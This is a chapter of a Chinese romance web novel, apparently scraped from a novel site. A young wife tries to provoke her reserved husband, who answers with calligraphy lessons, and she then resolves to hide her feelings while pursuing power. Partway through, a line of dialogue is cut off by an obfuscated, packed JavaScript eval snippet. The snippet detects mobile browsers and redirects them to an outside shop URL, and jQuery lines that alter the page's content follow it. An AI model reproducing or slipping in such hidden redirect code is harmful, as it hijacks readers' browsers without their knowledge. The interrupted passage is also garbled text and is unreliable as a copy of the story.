16. 狠心
作品:《与前夫合中情蛊后》 裴淮真的呼吸几不可察地一滞。
“……好。”他的声音比平日低哑了几分,他伸手轻柔拉起她的某一缕发丝,却不巧那一缕发却贴在肌肤上,发尾那里正垂入内衣深处。
裴淮真握着发丝的手停在半空中,眼睛看向地面。
“怎么了,夫君?”虞时晚眼尾微微上扬,语气却带着些许委屈可怜,“是不愿意吗?”
裴淮真没回话,而是用指腹轻轻勾起那缕温热的发丝,顺着她的颈线缓缓梳理出来,动作细致得像在对待什么易碎的珍宝。
那缕带着她体温和淡香的发丝,像根纤细的羽毛,轻轻扫过他那根紧绷的神经。
他垂眸,看见她颈侧细腻的肌肤和微微翕动的睫毛。
“夫君,有吗?”她撒娇的语气问道,“是不是沾上了?”
他几乎是屏着呼吸,指尖极其克制地轻轻拨开她颈后的发丝,其间,他的指腹不可避免地触碰到她温热的皮肤,那一点细微的触感却如同火星溅入冰原,在他心底激起一片惊涛骇浪。
不应该这样的。
裴淮真心里这般提醒着自己。
他收回了手,偏转着目光看着旁边空旷的地方,“没有沾到。”
他的语气平淡冷静,平淡到没有任何的感情。
“哦……”虞时晚有些失望卷起了鬓边的头发,没一会儿又扬起笑脸,“那夫君帮我梳头好不好?我总觉得睡了一夜,头发都缠在一起了,自己梳不通。”她说着,还适时地蹙起眉头,露出一副娇气又苦恼的模样,随后转头看向裴淮真的时候眼神里却闪烁着期待的光芒。
她知道裴淮真是不会拒绝她的。
她开始期待着他接下来会不会流露出一丝不同于刚才的表情,或慌张或青涩又或者别的什么。
裴淮真沉默地看了她片刻。
少女的眼眸清澈见底,仿佛真的只是一个依赖着他的小女孩。他心底那点隐秘的波澜在这种清澈纯真下显得愈发不堪。他需要做点什么来巩固自己设定的边界,来冷却自己不该有的妄念。
“……好。”他再次应允,声音平静,不知道是不是虞时晚的错觉,这次她能听出着平静声音下刻意的疏离。
他让她坐在镜前,拿起木梳。他的动作极其轻柔,却也极其规范,从头到尾,没有一丝多余的触碰,完全像是在完成一项必要的照料任务。他的指尖小心地避开了她的头皮和脖颈,只与她的发丝发生最必要的接触。镜子里,他的表情专注而平静,甚至带着一种近乎悲悯的宽容。
他对待她,好像就是兄长对待妹妹那样,没有任何夫妻之间的那种该有的欲望。
虞时晚透过镜子看着他,一双好看的杏眸在打量着。
他越是这般克制、守礼、无懈可击,她心底的那点怀疑和冷意就越是清晰。他完美地扮演着一个包容的兄长、一个尽责的“长者”,但这根本不是她想要的,也绝不是夫妻之间该有的氛围。
就在她几乎要按捺不住,想再做点什么打破他这层面具时,他已经为她绾了一个很可爱的发髻,跟那天的猫耳发髻一样可爱。
但她突然不想那么可爱了。
越可爱越像妹妹。
这不是她想要的。
她才不是什么可爱的人。
“好了。”他放下梳子,语气温和却带着不容置疑的导向,“今日的字帖我已放在书案上了。前日教你的那篇《三字经》,可再抄写十遍,好好学习梳理一番。”
“什么?”虞时晚差点以为自己听错了,她正要施展自己的魅力,结果裴淮真让她练字?!
这是练字学习的时候吗?
反正裴淮真觉得是。
裴淮真执起书卷坐在她身侧,窗外树影摇曳,碎金般的光斑在他白衣上流淌。他垂眸翻阅书卷时侧脸清隽,长睫在眼下投落浅淡阴影。
虞时晚咬着笔杆偷偷看他。
“不管怎么样,现在这个夫君还是很好看的,”虞时晚偷偷看着他,连墨水沾在脸上都不曾察觉到。
她老老实实坐了两个时辰,终于还是忍不住了。
太无聊了,装不下去了。
白天这么好的时光,怎么就拿来写这些无聊的东西。
她故意将宣纸揉得窸窣响,想引起裴淮真的注意,她期待着裴淮真会发出什么动静。
果然……
裴淮真翻了一页书,并没有看她。
居然就这样被无视了。
可恶可恶太可恶了,虞时晚恨不得把桌上的宣纸都给吃了。
她趴在桌子上,画着小王八。
“笔握歪了。”他忽然出声。
“啊?”她在乱糟糟的桌面抬起头,墨水在她稚柔的脸庞上画出一道痕来。
窗外忽然掠过雀鸟,在少女秋水般的眸中,落下白色的羽毛。
阳光下,他的白衣都染了轮廓,她看不清他的脸,却看着他一步一步向她走来。
那一刻,虞时晚突然觉得心里面好像有什么东西在跳着。
他走到她的面前停下,恰在此时,窗外有阵微风吹来,拂动了他额前的发丝,在光影交错间为他清冷的侧颜添上一抹难以捉摸的温柔。
不知道为什么,她好想他能摸她的头。
他会吗?
在虞时晚期待的眼神中,他抬起了手指。
他好看的手指终究从她的肩膀擦了过去,指向了她不久前写的字。
“《三字经》第二句,重写。”
冷冰冰的话语砸碎了少女刚才全部的幻想。
“还有呢?你就没有别的想对我说的吗?”虞时晚不甘心地继续问道。
“‘善’这个字,再多写几遍。”
此刻,虞时晚手中的笔承受着它不该有的怨气和愤怒。
“裴淮真,你到底有没有把我当成你的妻子!”虞时晚终究还是把心里想说的话问出来了,“为什么你对我像对一个学生,或者一个妹妹,又或者别的什么,总之,你就没有把我当成你的妻子。”
她气鼓鼓地看向他。
“你还太小。”
“我小?你又比我大多少?”虞时晚质问道。
虞时晚的质问像投入静湖的石子,在裴淮真眼中惊起细微的涟漪,又迅速归于平静。
他合上书卷,发出极轻的“啪”的一声。阳光在他周身勾勒出淡金色的光晕,却让他的神情显得愈发疏离。
“大多少?”他重复着她的话,声音低沉平稳,每个字却都像冷泉划过的玉石,温润却冰冷,“大七岁,等五年之后你二十岁,出门游历过山水,遇见更多不一样的人,你就会明白有些事还是不同的,你会做出比现在更清醒的选择。”
“更清醒的选择?”虞时晚敏锐地捕捉到这句话背后的含义,心头一紧,但骄傲让她昂起下巴,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936775|192637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴淮真,你说得这般冠冕堂皇,是不是早就想好了要休了我?为什么?是心里早已有了更合适的人选?”
这句话带着尖锐的妒忌和酸意。
而尖酸话语的背后,是不争气的泪水从她脸庞下滑落。
虞时晚冲了出去。
她不该哭的。
为什么她要哭。
她低着头,一边跑一边想把不争气的泪水甩干,可是路却越来越模糊。
她跌倒在地上。
为什么?
她不甘地捶着树,落下几片叶子,捶痛了自己的手。
指尖传来火辣辣的痛感,手背上那道鲜红的擦痕刺目无比,疼痛让她混乱的思绪骤然清晰,她的心也变得冷静起来。
她刚才在做什么?
为一句突然说出口的话失态奔跑,甚至狼狈跌倒?这根本不是她虞时晚该有的模样。
这场婚姻对于别人来说是一场交易,而对于她来说也不过是场权宜之计,她又不打算把这场婚姻继续下去。
裴淮真于她,不过是一块踏脚石,一个暂时的避风港。她需要的是这里的庇护和资源,暗中积蓄力量,等待五年后重返东方家,将她恨的那人拉下来。
她是要成为家主的人,才无所谓什么婚姻。
而且,心里有喜欢的人难道不是她吗?
她早就有喜欢的人了,她喜欢的人是东方长泽,想要得到的人也是东方长泽,而不是裴淮真,不是吗?
所以其实,想要和离的是她,心有他属的也是她。
可为什么,当听他亲口说出要分离的话语的时候,她的心口会像被针尖猝不及防地刺了一下,泛起又酸又疼的委屈?
这太可笑了,不是吗?
那么多遭受白眼和厌弃的时候都过来了,现在的委屈又算得了什么。
她早就意识到没有任何人是可靠的,是真心对她好的,不是吗?
其实哪怕是她一直“爱”着的东方长泽,她也不会把自己所有的真心放在他的身上,她很明白,她在他身上放着的也不过是幻想的那种喜欢。
太认真了,回忆的那束光也是会熄灭的。
所以,没必要啊。
她不求任何人的真心和喜欢,也不会给人她的真心。
为什么要委屈难过。
本来就要分离的。
本来就是场交易。
大树下,虞时晚站起身,单手擦去了眼泪。
她现在要回去,练字学习。
裴淮真有点没错,学习确实很重要。
她的目标是登上家主之位,一个只会用蛊却不识字的家主,一个空有野心却无韬略的家主,如何能让人信服?如何能掌控全局?
她转身,朝着来时的路走去。
方才的失控如同投入深潭的小雨滴,涟漪散尽后,只余一片冰冷的平静。她清晰地意识到,眼泪、质问、乃至那瞬间心口酸胀的委屈,都是毫无意义的消耗。它们无法助她达成任何目标,反而会暴露软肋,徒增变数。
从这一刻起,任何自然流露却无助于实现野心、无法转化为力量的情绪,无论是委屈、依赖、还是片刻的心动,在她眼中皆等同于无用之物,需被彻底剥离、严密管控。
在没有站在权力之巅成为绝对掌控者之前,她的喜怒哀乐都必须是精心设计的工具,或是绝不容许示人的秘密。
。

